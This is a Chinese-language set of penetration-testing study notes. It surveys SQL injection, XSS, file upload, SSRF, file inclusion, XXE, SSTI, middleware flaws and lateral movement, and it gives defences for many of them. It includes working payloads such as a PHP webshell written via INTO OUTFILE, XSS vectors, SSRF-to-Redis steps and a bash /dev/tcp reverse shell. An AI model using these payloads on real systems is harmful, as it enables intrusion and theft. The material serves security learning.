入门必看——渗透测试基础知识笔记

这篇具有很好参考价值的文章主要介绍了入门必看——渗透测试基础知识笔记。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

SQL注入

sql注入的原理

sql 注入攻击是通过将恶意的 sql 查询或添加语句插入到应用的输入参数中,再在后台 sql 服务器上解析

执行进行的攻击

sql注入的分类

头部注入(ua,cookie,referer)

联合注入

报错注入

布尔盲注

时间盲注

堆叠注入宽字节注入

布尔注入原理

布尔盲注:根据注入信息返回true or fales 没有任何报错信息

时间盲注:界面返回值ture 无论输入任何值,返回的情况都是正常的来处。加入特定的时间函数,通过

查看web页面返回的时间差来判断注入的语句是否正确。

常用函数

length(str):返回str字符串的长度。

substr(str, pos, len):将str从pos位置开始截取len长度的字符进 行返回。注意这里的pos位置是从1开始的,不是数组的0开始

mid(str,pos,len):跟上面的一样,截取字符串

ascii(str):返回字符串str的最左面字符的ASCII代码值。

ord(str):同上,返回ascii码

if(a,b,c) :a为条件,a为true,返回b,否则返回c,如if(1>2,1,0),返回0

查询语句

1.首先我们需要判断数据库长度
' or Length(database()) = 8 #返回true说明数据库长度为8

2.获取数据库名字

' or ord(mid(database(),1,1)) ='ascill值'#
依次获取

3.获取表的总数
' or (select count(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database() )= 2#

4.获取表的长度(第一个表)
' or (select length(TABLE_NAME) from information_schema.TABLES where
TABLE_SCHEMA=database() limit 0,1 )= (猜测得长度)#

5.获取表的内容
' or mid((select TABLE_NAME from information_schema.TABLES where
TABLE_SCHEMA=database() limit 0,1),1,1) = 'a' #

6.获取表的字段的总数
' or (select count(COLUMN_NAME) from information_schema.COLUMNS where
TABLE_NAME=表名 ) = 8#8返回true说明有8个表

时间盲注函数

RLIKE
通过 rpad 或 repeat 构造长字符串,加以计算量打的 pattern,通过 repeat 的参数可以控制延时长短

sleep(duration)
睡眠时间为 duration 参数给定的秒数,然后返回0;若函数被中断,返回1。

BENCHMARK(count, expr)
重复 count 次执行表达式 expr。
可以被用于计算 MySQL 处理表达式的速度
结果值通常为0

笛卡尔积
SELECT count(*) FROM information_schema.columns A, information_schema.colums B,
information_schema.colums C;
通过复杂的运算达到延时

GET_LOCK(str, timeout)
使用字符串 str 给定的名字得到一个锁,超时为 timeout 秒
局限:当前会话不会生效,只有新会话开启,并且保持长连接( mysql_pconnect函数来连接数据库),才能生效

报错注入函数

updatexml():是mysql对xml文档数据进行查询和修改的xpath函数

extractvalue():是mysql对xml文档数据进行查询的xpath函数

and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

MySQL 5.1.5版本中添加了对XML文档进行查询和修改的函数,MySQL 5.1.5版本以下**的不能上述函

数进行报错注入

并且,上述报错注入函数有字符限制,最长32位

虚拟表主键重复报错注入

报错注入的原因是group by在向临时表插入数据时,由于rand ()多次计算导致插入临时表时主键重复,

从而报错,又因为报错前concat ()中的SQL语句或函数被执行,所以该语句报错且被抛出的主键是SQL

语句或函数执行后的结果。

floor() + rand() + group by

select count(*) from information_schema.tables group by

concat(version(),floor(rand(0)*2));

exp():此函数返回e(自然对数的底)指数X的幂值,整数溢出报错

and exp(~(select * from(select user())a));

geometrycollection(),multipoint(),polygon(),multipolygon(),linestring(),multilinestring()

函数对参数要求是形如(1 2,3 3,2 2 1)这样几何数据,如果不满足要求,则会报错

宽字节注入原理

像GB2312、GBK、GB18030、BIG5、Shift_JIS等这些编码都是常说的宽字节,也就是只有两字节

宽字节注入发生的位置就是PHP发送请求到MYSQL时字符集使用character_set_client设置值进行了一次

编码。在使用PHP连接MySQL的时候,当设置“character_set_client = gbk”时会导致一个编码转换的问

题,也就是我们熟悉的宽字节注入

宽字节注入是利用mysql的一个特性,mysql在使用GBK编码(GBK就是常说的宽字节之一,实际上只有

两字节)的时候,会认为两个字符是一个汉字(前一个ascii码要大于128,才到汉字的范围)

常见转义函数:

1.replace():过滤 ' \ ,将 ' 转化为 ' ,将 \ 转为 \,将 " 转为 " 。用思路一。

2.addslaches():返回在预定义字符之前添加反斜杠(\)的字符串。预定义字符:' , " , \ 。用思路一

(防御此漏洞,要将 mysql_query 设置为 binary 的方式)

3.mysql_real_escape_string():转义下列字\x00 \n \r \ ' " \x1a

sql注入的bypass

绕过空格

注释符/* */,tab,%a0,括号

引号绕过

使用十六进制

逗号绕过

在使用盲注的时候,需要使用到substr(),mid),limit。这些子句方法都需要使用到逗号。
对于substr()和mid()这两个方法都可以使用from to方式来尝试绕过:

Select substr(database() from 1 for 1);
Select mid(database() from 1 for 1);

使用join:

Union select1,2 等价于  union select * from(select 1)a join (select 2)b

使用like:

Select ascii(mid(user(),1,1))=80 等价于 select user() like'r%'

对于limit可以使用offset来绕过:

Select * from news limit 0,1 等价于 select * from news limit 1 offset 0

比较符号(<>)绕过:

Greatest(): 返回最大值
使用N个参数,并返回N个参数中的最大值

Greatest(value1,value2,...)

Least(): 返回最小值
上面两个函数的比较规则:

如果任何参数为NULL,则两个函数都将立即返回NULL,不进行任何比较
如果在INT或REAL上下文中使用函数,或者所有参数都是整数值或REAL值,那么他们将分别作为INT或REAL来比较
如果参数有数字和字符串组成,则函数将他们作为数亨比较
如果至少有一个参数是非二进制(字符)字符串,则函数将参数作为非二进制字符串来比较在所有其他情况下,函数将作为二进制字符串进行比较

=绕过(like、rlike、regexp,<,>)

Or and xor not绕过(And == &&,Or == ||,Xor = |,Not = !)

sql注入的防御

采用一些过了函数过滤,或者黑白名单,还有就是预编译

预编译的原理

通俗的讲,预编译防止SQL注入的原理是提前编译SQL语句,将所有的用户输入都当做『数据』,而非

『语法』,来防止sql语句的执行从而防止sql注入(发生在后端)

缺点:

在PHP 5.3.6之前,PDO确实存在宽字节注入的问题

sql写文件利用

条件

secure_file_priv=空

知道网站绝对路径

有读写权限(或者有root权限最好)

读取文件:load_file()

id=-1' union select 1,load_file('C:\\phpStudy\\PHPTutorial\\MySQL\\my.ini'),2 ---

写入文件:使用函数:Into Outfile(能写入多行,按格式输出)和Into Dumpfile (只能写入一行且没

有输出格式)

1')) union select 1,'<?php eval($_REQUEST[23]); ?>',3 into outfile 'D://1.php' ---

不能直接写一句话木马可以尝试使用file_put_contents函数写日志,再日志包含写文件

mysql8新特性注入

VALUES关键字

VALUES是把一组一个或多个行作为表展示出来,返回的也是一个表数据。

TABLE关键字

TABLE始终显示表的所有列

TABLE不允许对行进行任意过滤,即TABLE 不支持任何WHERE子句

XSS

xss原理

恶意攻击者往Web页面

里插入恶意JS代码,当用户浏览该页之时,嵌入其中Web里面的JS代码会被执行,从而

达到恶意的特殊目的。

xss分类

1.反射型

非存储型,就是通过get或者post请求时,被后端处理过数据,并且响应到前端页面上

2.存储型

XSS代码被存储到服务器上的数据库里的某张表的字段里,或者页面,或者某个上传文件里

3.DOM型

仅仅在前段页面进行DOM树节点的修改操作的

xss常利用标签

<script> alert("xss"); </script>

<img src=1 onerror=alert("xss");>

<input onfocus="alert('xss');">
//竞争焦点,从而触发onbiur事件

<input onblur=alert('xss') autofocus><input autofocus>
//通过 autofocus 属性执行本身的focus事件,这个向量是使焦点自动跳转到输入元素上,触发焦点事
件,无需用户去触发

<input onfocus="alert('xss');"autofocus>

<details ontoggle="alert('xss');"></details>
// 使用open属性触发ontoggle事件,无需用户去触发

<details open ontoggle="alert('xss');"></details>

<svg onload="alert('xss')"></svg>>

<select onfocus=alert('xss')></select>
// 通过autofocus 属性执行本身的focus事件,这个向量是使焦点自动跳转到输入元素上,触发焦点事
件,无需用户去触发

<select onfocus="alert('xss')" autofocus></select>

<iframe onload=alert("xss");></iframe>

<video><source onerror="alert('xss')"></video>

<audio src="x" onerror=alert('xss');></audio>

<body onload=alert('xss');></body>

防范xss攻击的方式

防范XSS攻击行为,一般有三种方式,一是对输入内容和URL参数进行过滤,二是对动态输出的内容进行

编码,使该脚本无法生效。三是对Cookie设置`http-only使js无法对Cookie进行操作。(需要在HTTP头

部配上,set-cookie: http-only 这个属性可以 防止XSS,它会禁止javascript脚本来访问cookie

文件上传

文件上传漏洞原理

上传的文件能够被web容器解释执行。所以文件上传后所在的目录要是web容器所覆盖到的路径。

其次,用户能够从web访问这个文件。

文件上传漏洞bypass

一般都是在网页上写一段 javascript 脚本,校验上传文件的后缀名,有白名单形式也有黑名单形式。判

断方式:在浏览加载文件,但还未点击上传按钮时便弹出对话框

黑名单绕过

这里修改文件名字后,请求头中的 Content-Length 的值也要改。

(1)黑名单检测:一般有个专门的 blacklist 文件,里面会包含常见的危险脚本文件。

绕过方法:

(1)找黑名单扩展名的漏网之鱼 - 比如 iis6.0 中的 asa 和 cer 
(2)可能存在大小写绕过漏洞 - 比如aSp(iis6.0 中可以)和 pHp(只能在小于php5.3.39 中的 linux 中)之中 
(3)能被web容器解析的文件其他扩展名列表:jsp,jspx,jspf,asp,asa,cer,cdx,htr,xml,html,aspx,ashx,asmx,asax,ascx

(2)黑名单特殊后缀名绕过(利用难度高)

将Burpsuite截获的数据包中backlion.php名字改为 baclion.php4(php1,php2,php3,php4,php5), 前提

条件是 http.conf 中设置 AddType application/x-httpd-php .php1(php 的版本小于等于 5.3.29 以下)

(3)单双重后缀名绕过

上传时将 Burpsuite 截的数据包中文件名 backlion.php(backlion.asa)改 为

backlion.pphphph(backlion.asasaa),那么过滤了第一个"php"字符串"后, 开头的'p'和结尾的'hp'就组

合又形成了 php

(4)服务端 MIME 文件类型(Content-Type)绕过

白名单绕过

(1)配合web容器的解析漏洞:

IIS中的目录解析漏洞和分号解析漏洞 :

将一句话木马的文件名 backlion.php,改成 backlion.php.abc(奇怪的不被解析的后缀名都 行)。首先,

服务器验证文件扩展名的时候,验证的是.abc,只要该扩展名符合服务器端黑白名单觃则,即可上传。

nginx 空字节漏洞 xxx.jpg%00.php 这样的文件名会被解析为php代码运行。

apache 的解析漏洞,上传如 a.php.rar a.php.gif 类型的文件名,可以避免 对于php文件的过滤机制,

但是由于 apache 在解析文件名的时候是从右向左读,如果遇到不能识别的扩展名则跳过,rar 等扩展名

是 apache 不能识别的, 因此就会直接将类型识别为 php,从而达到了注入php代码的目的。

(2)%00 截断上传绕过

通过抓包截断将 backlion.asp.jpg 后面的一个.换成%00 在上传的时候即 backlion.asp%00.jpg,当文件

系统读到%00 时,会认为文件已经结束,从而将 backlion.asp.jpg 的内容写入到 backlion.asp 中,从而

达到攻击的目的。%00 不是针对所有基于白名单的后缀名检查都能绕过,代码的实现过程中必须存在截

断上传漏洞,上传格式如下:bk.asp%00.jpg

(3)文件头内容检测绕过

文件头简介

不同的图片文件都有不同文件头,如: PNG:文件头标识 (8 bytes) 89 50 4E 47 0D 0A 1A 0A JPEG:

文件头标识 (2 bytes): 0xff, 0xd8 (SOI) (JPEG 文件标识) GIF:文件头标识 (6 bytes) 47 49 46 38 39(37)

61 上传文件的时候会检查上传文件是否合法,如图片文件是否文件头含有 gif89, 这里可以通过一句话图

片木马生成工具 edjpgcom 戒者通过编辑器在木马内容基础上再加了一些文件信息,有点像下面的结构:

文件上传防御

  1. 客户端检测,使用 js 对上传图片检测,包括文件大小、文件扩展名、文件类型等

  2. 服务端检测,对文件大小、文件路径、文件扩展名、文件类型、文件内容检测、对文件重命名等

  3. 服务器端上传目录设置不可执行权限

  4. 检查网站有没有文件解析漏洞和文件包含漏洞

  5. 将文件上传到单独的文件服务器,并且单独设置文件服务器的域名

CSRF

CSRF的原理

攻击者盗用了你的身份,以你的名义发送恶意请求,对服务器来说这个请求是完全合法的,但是却完成

了攻击者所期望的一个操作,比如以你的名义发送邮件、发消息,盗取你的账号,添加系统管理员,甚

至于购买商品、虚拟货币转账等。

CSRF的检测

最简单的方法就是抓取一个正常请求的数据包,去掉Referer字段后再重新提交,如果该提交还有效,那

么基本上可以确定存在CSRF漏洞。

以CSRFTester工具为例,CSRF漏洞检测工具的测试原理如下:使用CSRFTester进行测试时,首先需要

抓取我们在浏览器中访问过的所有链接以及所有的表单等信息,然后通过在CSRFTester中修改相应的表

单等信息,重新提交,这相当于一次伪造客户端请求。如果修改后的测试请求成功被网站服务器接受,

则说明存在CSRF漏洞,当然此款工具也可以被用来进行CSRF攻击。

CSRF的防御

目前防御 CSRF 攻击主要有三种策略:

  1. 验证 HTTP Referer 字段;

  2. 在请求地址中添加 token 并验证;

  3. 在 HTTP 头中自定义属性并验证。

在于在请求中放入黑客所不能伪造的信息,并且该信息不存在于 cookie 之中。可以在 HTTP 请求中以参

数的形式加入一个随机产生的 token(可以是JWT),并在服务器端建立一个拦截器来验证这个 token,

如果请求中没有 token 或者 token 内容不正确

SSRF

ssrf原理

1.服务端提供了从其他服务器应用获取数据的功能

2.没有对目标地址做过滤与限制

比如从指定URL地址获取网页文本内容,加载指定地址的图片,下载文件等等

ssrf漏洞发现

具体可能出现SSRF的地方:

​ 1.社交分享功能:获取超链接的标题等内容进行显示

​ 2.转码服务:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览

​ 3.在线翻译:给网址翻译对应网页的内容

​ 4.图片加载/下载:例如富文本编辑器中的点击下载图片到本地;通过URL地址加载或下载图片

​ 5.图片/文章收藏功能:主要网站会取URL地址中title以及文本的内容作为显示以求一个好的用户体验

​ 6.云服务厂商:它会远程执行一些命令来判断网站是否存活等,所以如果可以捕获相应的信息,就可以

进行SSRF测试

​ 7.网站采集,网站抓取的地方:一些网站会针对你输入的url进行一些信息采集工作

​ 8.数据库内置功能:数据库的比如mongodb的copyDatabase函数

​ 9.邮件系统:比如接收邮件服务器地址

​ 10.编码处理, 属性信息处理,文件处理:比如ffpmg,ImageMagick,docx,pdf,xml处理器等

​ 11.未公开的api实现以及其他扩展调用URL的功能:可以利用google 语法加上这些关键字去寻找SSRF漏

洞,一些的url中的关键字:share、wap、url、link、src、source、target、u、3g、display、

sourceURl、imageURL、domain……

​ 12.从远程服务器请求资源(upload from url 如discuz!;import & expost rss feed 如web blog;使

用了xml引擎对象的地方 如wordpress xmlrpc.php)

ssrf验证

1、因为SSRF漏洞是构造服务器发送请求的安全漏洞,所以我们可以通过抓包分析发送的请求是否是由

服务器端发送的来判断是否存在SSRF漏洞

2、在页面源码中查找访问的资源地址,如果该资源地址类型为http://www.xxx.com/a.php?image=(地

址)的可能存在

ssrf漏洞利用

未授权打redis

SSRF 攻击的话并不能使用 redis-cli 来连接 Redis 进行攻击操作,未授权的情况下可以使用 dict 或者

gopher 协议来进行攻击,因为 gopher 协议构造比较繁琐,建议直接使用 DICT 协议

dict://x.x.x.x:6379/<Redis 命令>

有认证打redis

配合本地文件包含先成功读取到 /etc/redis.conf 配置文件,直接搜索 requirepass关键词来定位寻找密

302重定向打redis

利用web服务上的SSRF漏洞访问在另一台服务器上的302跳转,302跳转的Location 数据为:

gopher://127.0.0.1:6379/_[Redis伪造数据],Redis伪造的数据为向 /root/.ssh/保存authorized_keys文

件,文件内容为攻击机的SSH公钥。这样攻击机就可通过SSH直接连接漏洞机。

当返回302时,只是临时重定向,浏览器不会缓存数据

在自己的服务器上写302 跳转

在另一台自己的服务器上写一个302 重定向的代码

<?php header("Location: gopher>

FILE 协议获取本地信息

我们可以尝试配合 file 协议来读取本地的文件信息,尝试使用 file 协议来读取 /etc/passwd

探测内网端口

SSRF 常配合 DICT 协议探测内网端口开放情况,但不是所有的端口都可以被探测,一般只能探测出一些

带 TCP 回显的端口,具体可以探测哪些端口需要大家自己动手去测试一下,BP 下使用迭代器模式爆

破,设置好要爆破的 IP 和 端口即可批量探测出端口开放的信息

目录扫描

内网 Web 资产进行目录扫描的话,使用传统的 dirsearch 等工具就不是很方便了,使用的是 Burpsuite

抓包,然后导入字典批量遍历路径参数

命令执行

经典的命令执行,通过 POST 方式攻击者可以随意利用 Linux 命令拼接符 ip 参数,从而导致任意命令执行

ssrf危险函数

file_get_contents()

fsockopen()

PHP fsockopen需要 PHP.ini 中allow_url_fopen选项开启。

curl_exec()

前端传进来的url被后台使用curl_exec()进行了请求,然后将请求的结果又返回给了前端。

ssrf的绕过

ip协议转换

短网址绕过(有生成短网址的网站)

利用302跳转

ssrf的防御

只允许发起HTTP(S)协议的请求;

限制访问端口;

限制不能访问内网IP;

特殊符号和字符过滤;

设置白名单/黑名单;

文件包含

相关函数

  1. include()如果出错的话,只会提出警告,会继续执行后续语句。

  2. include_once()

  3. require()如果在包含的过程中有错,比如文件不存在等,则会直接退出,不执行后续语句。

  4. require_once()

远程文件包含受allow_url_fopen = On和allow_url_include = On这两个的影响。本地文件包含不受影响

相关伪协议

php://input 是个可以访问请求的原始数据的只读流。 POST 请求的情况下,最好使用 php://input 来代

替 $HTTP_RAW_POST_DATA,因为它不依赖于特定的 php.ini 指令。 而且,这样的情况下

$HTTP_RAW_POST_DATA 默认没有填充, 比激活 always_populate_raw_post_data 潜在需要更少的内

存。 enctype="multipart/form-data" 的时候 php://input 是无效的。

php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。 这对于一体式(all-in-one)的

文件函数非常有用,类似 readfile()、 file()和 file_get_contents(), 在数据流内容读取之前没有机会应用

其他过滤器。

file:// — 访问本地文件系统

ftp:// -- ftps:// — 访问 FTP(s) URLs

zip://:可以访问压缩包里的文件。当他与包含函数结合时,zip://流会被当做php文件执行。

phar://这个就是php解压缩报的一个函数,不管后缀是什么,都会当做压缩包来解压,用法:?

file=phar://压缩包/内部文件 phar://xxx.png/shell.php 注意 PHP>=5.3.0压缩包需要是zip协议压缩,

rar不行,将木马文件压缩后,改为其他任意格式的文件都可以正常使用。步骤:写一个一句话木马

shell.php,然后用zip协议解压缩为shell.zip。然后将后缀改为png等其他格式

文件包含分类

包含session

利用条件:session文件路径已知,且其中内容部分可控。

php的session文件的保存路径可以在phpinfo的session.save_path看,然后用

session.upload_progress将木马写入session文件

包含日志

利用条件:需要知道服务器日志的存储路径,且日志文件可读。

apache+Linux日志默认路径:/etc/httpd/logs/access.log或/var/log/httpd/access.log

2.apache+win2003日志默认路径:D:\xampp\apache\logs\access.log、
D:\xampp\apache\logs\error.log

包含environ

利用条件:

php以cgi方式运行,这样environ才会保持UA头。

environ文件存储位置已知,且environ文件可读。environ文件默认位置:/proc/self/environ。在Linux

系统下(FreeBSD是没有这个的)。Windows系统没有。

proc/self/environ中会保存user-agent头。如果在user-agent中插入php代码,则php代码会被写入到

environ中。之后再包含它,即可。

包含fd

文件描述符:File descriptor,简称fd,当应用程序请求内核打开/新建一个文件时,内核会返回一个文件

描述符用于对应这个打开/新建的文件,其fd本质上就是一个非负整数。实际上,它是一个索引值,指向

内核为每一个进程所维护的该进程打开文件的记录表。当程序打开一个现有文件或者创建一个新文件

时,内核向进程返回一个文件描述符。

默认位置:/proc/self/fd/。在Linux系统下。Windows系统没有。

包含临时文件

php中上传文件,会创建临时文件。在linux下使用/tmp目录,而在windows下使用c:\winsdows\temp

目录。在临时文件被删除之前,利用竞争即可包含该临时文件。

由于包含需要知道包含的文件名。一种方法是进行暴力猜解,linux下使用的随机函数有缺陷,而

window下只有65535种不同的文件名,所以这个方法是可行的。

另一种方法是配合phpinfo页面的php variables,可以直接获取到上传文件的存储路径和临时文件名,

直接包含即可

条件:存在phpinfo界面和文件包含

原理:

1.当我们给PHP发送POST数据包时,如果数据包里包含文件区块,PHP就会将文件保存成一个临时文

件,路径通常为:/tmp/php[6个随机字符],这个临时文件,在请求结束后就会被删除。

2.因为phpinfo页面会将请求上下文中的所有变量打出来,所以我们如果向phpinfo页面发送包含文件区

块的数据包,就可以在返回包里找到临时文件名,也就是$_FILES变量中的内容。

文件包含的防御

  1. 在很多场景中都需要去包含web目录之外的文件,如果php配置了open_basedir,则会包含失败。

所以PHP 中使用open_basedir配置限制访问在指定的区域。

  1. 做好文件的权限管理。

  2. 对可以包含的文件进行限制,可以采用白名单的方式,或设置可以包含的目录。

  3. 对危险字符进行过滤,比如过滤.(点)/(反斜杠)\(反斜杠)等特殊字符。

  4. 尽量将allow_url_fopen和allow_url_include配置为off,不过像有些伪协议还是能使用,不过能尽

量off还是off吧。

  1. 尽量不使用动态包含等等

XXE

xxe原理

XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成

文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等危害。xxe漏洞触发的点往往是可

以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件。

注:最直接的方法就是用burp抓包,然后,修改HTTP请求方法,修改Content-Type头部字段等等,查

看返回包的响应,看看应用程序是否解析了发送的内容,一旦解析了,那么有可能XXE攻击漏洞

xxe防御

  1. 禁用外部实体

  2. 过滤和验证用户提交的XML数据

  3. 不允许XML中含有任何自己声明的DTD

  4. 有效的措施:配置XML parser只能使用静态DTD,禁止外来引入;对于Java来说,直接设置相应的

属性值为false即可

SSTI

ssti原理

SSTI也就是服务器端模板注入攻击(Server-Side Template Injection),和SQL注入差不多,也是由于

没有安全地处理用户输入造成的安全问题。简单来说,其实质是服务端接收了用户的输入,但没有进行

严格的过滤就将用户的输入直接带入了编译渲染过程。这样在这个过程中如若用户输入的内容存在一些

恶意代码,就有可能会被执行。

攻击方式

base:对象的一个基类,一般情况下是object

mro:获取对象的基类,只是这时会显示出整个继承链的关系,是一个列表,object在最底层所以在列表

中的最后,通过mro[-1]可以获取到

subclasses() :继承此对象的子类,返回一个列表

考察SSTI的CTF题目一般都是给个变量,因为有这些类继承的方法,便可以从任何一个变量,回溯到基

类中去,再获得到此基类所有实现的类,这便是攻击方式:

从变量->对象->基类->子类遍历->全局变量

原型链污染

原型链污染的核心机制在于,当我们调用对象某一属性,它首先会从obj中寻找,如果没有找到,则会向

上在obj.proto中寻找,如果仍未找到则会继续向上,从obj.proto.proto__查找,直到查找到元素或查

找到Object类为止

中间件漏洞

IIS

1、PUT漏洞

IIS Server 在 Web 服务扩展中开启了 WebDAV ,配置了可以写入的权限,造成任意文件上传。

版本: IIS6.0

2、短文件名猜解

IIS的短文件名机制,可以暴力猜解短文件名,访问构造的某个存在的短文件名,会返回404,访问构造

的某个不存在的短文件名,返回400。

3、远程代码执行

在IIS6.0处理PROPFIND指令的时候,由于对url的长度没有进行有效的长度控制和检查,导致执行

memcpy对虚拟路径进行构造的时候,引发栈溢出,从而导致远程代码执行。

4、解析漏洞

IIS 6.0 在处理含有特殊符号的文件路径时会出现逻辑错误,从而造成文件解析漏洞。这一漏洞有两种完

全不同的利用方式:

/test.asp/test.jpg 		test.asp;.jpg

第一种是新建一个名为 "test.asp" 的目录,该目录中的任何文件都被 IIS 当作 asp 程序执行(特殊符号

是 “/” )

第二种是上传名为 "test.asp;.jpg" 的文件,虽然该文件真正的后缀名是 ".jpg", 但由于含有特殊符号 ";"

,仍会被 IIS 当做 asp 程序执行

IIS7.5

php 又默认开启 "cgi.fix_pathinfo", 会对文件进行 “ 修理 ” ,可谓 “ 修理 ” ?举个例子,当 php 遇到路径

"/aaa.xxx/bbb.yyy" 时,若 "/aaa.xxx/bbb.yyy" 不存在,则会去掉最后的 “bbb.yyy" ,然后判断

"/aaa.xxx" 是否存在,若存在,则把 “/aaa.xxx" 当作文件。

Apache

1、解析漏洞

Apache默认一个文件可以有多个以点分隔的后缀,当右边的后缀无法识别(不在mime.tyoes内),则

继续向左识别

AddHandler application/x-httpd-php .php的配置文件配置错误

2、目录遍历

apache配置文件httpd.conf 找到Options+Indexes+FollowSymLinks +ExecCG配置错误

Nginx

1、文件解析

对任意文件名,在后面添加/任意文件名.php的解析漏洞,比如原本文件名是test.jpg,可以添加

test.jpg/x.php进行解析攻击。

/etc/php5/fpm/pool.d/www.conf中security.limit_extensions = .php配置错误

2、目录遍历

/etc/nginx/sites-avaliable/default里的autoindex on配置错误

3、CRLF注入

CRLF时“回车+换行”(\r\n)的简称。

HTTP Header与HTTP Body时用两个CRLF分隔的,浏览器根据两个CRLF来取出HTTP内容并显示出来。

通过控制HTTP消息头中的字符,注入一些恶意的换行,就能注入一些会话cookie或者html代码,由于

Nginx配置不正确,导致注入的代码会被执行。

4、目录穿越

Nginx反向代理,静态文件存储在/home/下,而访问时需要在url中输入files,配置文件中/files没有用/

闭合,导致可以穿越至上层目录。

Tomcat

1、远程代码执行

Tomcat 运行在Windows 主机上,且启用了 HTTP PUT 请求方法,可通过构造的攻击请求向服务器上传

包含任意代码的 JSP 文件,造成任意代码执行。

影响版本: Apache Tomcat 7.0.0 – 7.0.81

2、war后门文件部署

Tomcat 支持在后台部署war文件,可以直接将webshell部署到web目录下。

若后台管理页面存在弱口令,则可以通过爆破获取密码。

jBoss

1、反序列化漏洞

jBoss是一个基于J2EE的开发源代码的应用服务器。 JBoss代码遵循LGPL许可,可以在任何商业应用中免

费使用。JBoss是一个管理EJB的容器和服务器,支持EJB1.1、EJB 2.0和EJB3的规范。但JBoss核心服务不

包括支持servlet/JSP的WEB容器,一般与Tomcat或Jetty绑定使用。

2、war后门文件部署

jBoss后台管理页面存在弱口令,通过爆破获得账号密码。登陆后台上传包含后门的war包。

WebLogic

1、反序列化漏洞

Java序列化,简而言之就是把java对象转化为字节序列的过程。而反序列话则是再把字节序列恢复为java

对象的过程,然而就在这一转一变得过程中,程序员的过滤不严格,就可以导致恶意构造的代码的实

现。

2、SSRF

Weblogic 中的SearchPublicRegistries.jsp存在一个SSRF漏洞,利用该漏洞可以发送任意HTTP请求,进

而攻击内网中redis、fastcgi等脆弱组件。

3、任意文件上传

通过访问config.do配置页面,先更改Work Home工作目录,用有效的已部署的Web应用目录替换默认

的存储JKS Keystores文件的目录,之后使用"添加Keystore设置"的功能,可上传恶意的JSP脚本文件。

4、war后门文件部署

由于WebLogic后台存在弱口令,可直接登陆后台上传包含后门的war包。

其它中间件相关漏洞

1、FastCGI未授权访问、任意命令执行

服务端使用fastcgi协议并对外网开放9000端口,可以构造fastcgi协议包内容,实现未授权访问服务

端.php文件以及执行任意命令。

2、PHPCGI远程代码执行

在apache调用php解释器解释.php文件时,会将url参数传我给php解释器,如果在url后加传命令行开

关(例如-s、-d 、-c或-dauto_prepend_file%3d/etc/passwd+-n)等参数时,会导致源代码泄露和任意

代码执行。

php反序列化漏洞

魔法函数

__construct() 当一个对象创建时被调用,反序列化不触发
__destruct() 当一个对象销毁时被调用
__toString() 当一个对象被当作一个字符串使用,比如echo输出或用 . 和字符串拼接
__call() 当调用的方法不存在时触发
__invoke() 当一个对象被当作函数调用时触发
__wakeup() 反序列化时自动调用
__get() 类中的属性私有或不存在触发
__set() 类中的属性私有或不存在触发

反弹shell

bash -i >& /dev/tcp/ip/端口 0>&1

bash -i 打开一个交互式的bash

/dev/tcp/是Linux中的一个特殊设备,打开这个文件就相当于发出了一个socket调用,建立一个socket

连接,读写这个文件就相当于在这个socket连接中传输数据。

文件描述符

已知Linux下存在三种文件描述符:

0 - stdin 标准输入,使用< 或 <<

1 - stdout 标准输出,使用> 或 >>

2 - stderr 标准错误输出,使用2或者2>>

&>的含义

反弹shell中的&没有固定含义,放在>后面的&,表示重定向的目标不是一个文件,而是一个文件描述符。

当>&后面接文件时,表示将标准输出和标准错误输出重定向到文件

当>&后面接文件描述符时,表示将前面的文件描述符重定向到后面的文件描述符

内网渗透

一个目标怎么信息收集?

搜索引擎

Google搜索、Shodan搜索、FOFA搜索

信息收集工具:Maltego

可收集:域名邮箱、人员、地址

DNS分析

域名注册信息:whois

子域名:Layer子域名挖掘机、onlietools、dnsmap、fierce

真实IP地址  超级ping

网站架构

服务组件和脚本类型:Wappalyzer 、whatweb
服务器类型:nmap
CMS类型:onlinetools
WAF:WAF、wafoof

旁站和C段

onlinetools、webscan

后台目录

御剑目录扫描、7kbstorm、dirb

端口

nmap zenmap

漏洞扫描

AWVS Nessus

一个不出网机器怎么打

  1. 边缘主机出网,选择reverse反向连接,现在已经上线边缘主机

  2. 过已有的父Beacon使用SMB协议进行正向连接不出网机器,要求目标开启445端口,通过命名管道

进行认证即可上线,用户名和hash后,即可执行远程命令

横向移动

利用windows远程连接命令

IPC连接

(1)目标机器没有禁用IPC$连接,没有什么防火防盗拦截IPC$,139 445 端口也开了(能走445走

445,不能则走139)

(2)目标机器小管理员开了IPC$默认共享服务

(3)获取了目标机器的小管理员的管理员权限的账号密码(最好是域管理员账号密码),明文的

(4)目标系统能支持IPC$,且和攻击机能彼此互通(废话)

at任务

一是在获取webshell后不能够执行系统命令的情况下可以用at命令将命令执行后写入txt再用type读取,

二是利用at计划任务命令上线cs或者msf

首先介绍第一个用处,这是我之前在实战的过程中拿到了一个oa系统的shell,但是这里在webshell处不

能够执行命令,这时候就可以调用at命令调用cmd执行系统命令

schtasks命令

在2008及以后的系统中已经将at命令废弃,改用schtasks命令代替了at命令,原因是因为schtasks命令

比at命令使用起来更加灵活。

psexec

基本原理:

通过ipc连接admin,释放二进制文件psexecsvc.exe到目标.通过服务管理SCManager远程创建一个psexec服务,并启动服务.客户端连接执行命令,服务端通过服务启动相应的程序执行命令并回显数据.运行结束后删除服务

使用前提:

对方主机开启了 admin共享,如果关闭了admin共享,会提示:找不到网络名对方未开启防火墙如果是工作组环境,则必须使用administrator用户连接(因为要在目标主机上面创建并启动服务),使用其他账号(包括管理员组中的非administrator用户)登录都会提示访问拒绝访问。如果是域环境,即可用普通域用户连接也可以用域管理员用户连接。连接普通域主机可以用普通域用户,连接域控只能用域管理员账户。

利用WMI

Windows操作系统默认不会将wmi操作记录到日志当中,而且因为采用的是无文件攻击,所以导致WMI具有极高的隐蔽性,wmic也可以用来调用cmd执行系统命令,跟at命令类似,wmic调用cmd的时候也是没有回显的,所以我们还是写入txt用type命令进行查看

PTH(pass the hash)

1.获得一台域主机的权限

2.Dump内存获得用户hash

3.通过pass the hash尝试登录其他主机

4.继续搜集hash并尝试远程登录

